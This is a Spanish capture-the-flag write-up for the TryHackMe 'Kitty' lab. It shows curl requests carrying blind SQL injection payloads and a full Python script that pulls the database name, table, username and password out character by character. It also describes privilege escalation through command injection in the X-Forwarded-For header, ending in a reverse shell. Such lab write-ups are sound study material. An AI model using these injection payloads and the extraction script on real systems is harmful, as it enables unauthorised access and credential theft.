Cyber
TryHackMe
TryHackMe
  • crack the hash
  • Juice Shop
  • MrRobot CTF
  • Ninja Skills
  • Basic Pen Testing
  • bank_ctf
  • blaster
  • OWASP TOP 10
  • eternalblue
  • ice
  • easypeasy
  • pentesting completo
  • kenobi
  • Overpass
  • OWASP ZAP
  • Post Explotacion
  • Relevant
  • RootCTF
  • Stealth
  • Uso de SILK
  • Wreath
  • Clocky
  • Wifi Hacking 101
  • SQLMap
  • Kitty
  • Opacity
  • Bricks Heist
  • Carnage
  • Snort
  • Daily Bugle
  • Creative
  • CyberLens
  • Insecure Deserialisation
Powered by GitBook
On this page

Kitty

tryhackme room Kitty

PreviousSQLMapNextOpacity

Last updated 1 year ago

Vamos c omenzar haciendo un nmap:

Parece que solo tiene abierto el 22 de ssh y el 80 , vamos a acceder:

Y vamos a hacer el tipico ataque de injeccion sql:

y vemos que ha funcionado asi que tiene pinta de que vamos a poder hacer algun tipo de injeccion.Asi que ahora vamos a probar a registrarnos con un usuario legitimo en la web:

Una vez creado vamos a meter un concepto nuevo que es hacer peticiones a traves de curl para verificar si cambi algo al hacer peticiones con usuario que existen y con usuarios que no:

curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+AND+1=1--+-&password=" -s -w "%{http_code}" -o /dev/null
 curl 'http://kitty.thm/index.php/' -X POST -d "username=something'+AND+1=1--+-&password=" -s -w "%{http_code}" -o /dev/null

De aqui podemos comprobar que podemos hacer un ataque de injeccion sql boolean , siendo 302 true y el codigo 200 false.

Lo siguiente que vamos a hacer es ver el numero de columnas que tiene la base de datos:

└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+1+--+-&password=" -s -w "%{http_code}" -o /dev/null
302

└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+2+--+-&password=" -s -w "%{http_code}" -o /dev/null
302

└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+3+--+-&password=" -s -w "%{http_code}" -o /dev/null
302

└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+4+--+-&password=" -s -w "%{http_code}" -o /dev/null
302

└─$ curl 'http://kitty.thm/index.php/' -X POST -d "username=test'+ORDER+BY+5+--+-&password=" -s -w "%{http_code}" -o /dev/null
200

Una vez que sabemos el numero de columnas queremos saber el nombre de la base de datos , para ello haremos una peticion parecida a esta :

' UNION SELECT 1,2,3,4 WHERE database() LIKE BINARY 'a%' -- -

En esta peticion le decimos a la base de datos que si el nombre de la base de datos empieza por a , de esta forma si nos da un 302 sabemos que es true y que la base de datos empieza por esa letra.

Vamos a sacar la primera letra:

Ahora que ya sabemos como funciona de forma manual vamos a utilizar un script en python que automaitza este proceso:

import requests

ip = "kitty.thm"
chars_list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-/:~$^ "
c = ""

while True:
    for i in chars_list:
        post_data= {"username":f"' UNION SELECT 1,2,3,4 WHERE database() LIKE BINARY '{c+i}%' -- -","password":"test"}
        req = requests.post(f"http://{ip}/index.php", data=post_data,allow_redirects=False)
        status_code=req.status_code
        print(f"{i}", end='\r')
        if status_code == 302:
            c = c+i
            print(f"[+] Updated Result ==> {c}")
            break
        elif i == " " :
            print("\n[+] Injection Finished")
            print(f"[+] Result ==> {c}")
            exit()

Lo configuramos y lo lanzamos:

Y parece que tenemos el nombre de la base de datos: mywebsite

Tambien podemos deducir que el dbms que esta utilizando es mysql ya que la funcion database() ha funcionado.

Ahora que sabemos el nombre de la base de datos vamos a averiguar el nombre de la tabla:

' UNION SELECT 1,2,3,4 FROM information_schema.tables WHERE table_schema = database() AND table_name LIKE BINARY '{c+i}%' -- -

Ahora lo añadimos al script modificando la peticion y lo lanzamos:

Una vez sacado el nombre de la tabla vamos a sacar el del primer usuario que seguramente sea el admin , le añadimos esta sentencia sql al script:

' UNION SELECT 1,2,3,4 FROM siteusers WHERE username LIKE BINARY '{c+i}%';-- -

Luego modificamos la query para averiguar la contraseña:

' UNION SELECT 1,2,3,4 FROM siteusers WHERE username=\"kitty\" AND password LIKE BINARY '{c+i}%';-- -

Una vez tenemos todo esto vamos a conectarnos por ssh con estas credenciales y vamos a ver que tenemos:

ESCALADA de PRIVILEGIOS

Vamos a comenzar haciendo una enumeracion basica:

Como sabemos que un apache esta corriendo vamos a ver si hay otra web en el directorio /etc/apache2/sites-enabled/:

Podemos ver como en /var/www hay dos carpetas html y development si entramos en la html y revisamos vemos como en la de html hace referencia al puerto 80:

Una vez sabemos esto vamos a crear un tunel con ssh para acceder a traves de nuestro propio navegador:

Parece que a traves del header X Forwarded for guarda la ip del visitante en una variable y se la pasa al archivo logged que esta en ese directorio cada vez que hay una inyeccion sql.

Vamos a probar desde nuestro localhost:

Ahora sabemos que podemos controlar lo que entra en este archivo , pero como lo podemos aprovechar.. Vamos a utilizar pspy64 para ver los procesos activos del sistema:

si lo visualizamos:

Ahora lo que tendremos que hacer es crear una webshell e insertarla en el header que vimos antes X FORWARDED FOR:

Una vez creado ejecutamos la injeccion:

Y por ultimo miramos en la terminal donde abrimos el listener en el puerto 9001:

Si hacemos una peticion con un usuario que si existe ya que lo acabamos de crear da un codigo 302(redireccion)
Si lo hacemos con un usuario que no existe devuelve un codigo 200(ok)
Como podemos ver empezamos por ORDER BY 1 hasta el 5 que es donde dice true , es decir tenemos 4 columnas.
Como podemos ver tras probar con a y b vemos que no hubo suerte , con la m si que la hubo por lo que sabemos que el nombre de la base de datos comienza con m.
Y nos da el usuario kitty
Y conseguimos la contraseña
Y aqui tenemos user flag
y vemos como esta corriendo localmente algo en el puerto 8080.
Como podemos ver parece que en la ruta /var/www/development hay otra web
El login es muy parecido asi que vamos a hacer un diff para ver la diferencia.
Si vamos al archivo vemos como se ha guardado.
Al poco de comenzar vemos como se ejecuto un archivo llamado log_checker.sh
Aqui podemos ver como el script va revisando el archivo logged y lo va metiendo en otro archivo.Aqui la vulnerabilidad estaria en la linea sh -c "echo $ip
Aqui creamos el reverse shell , que lo creamos en el directorio /tmp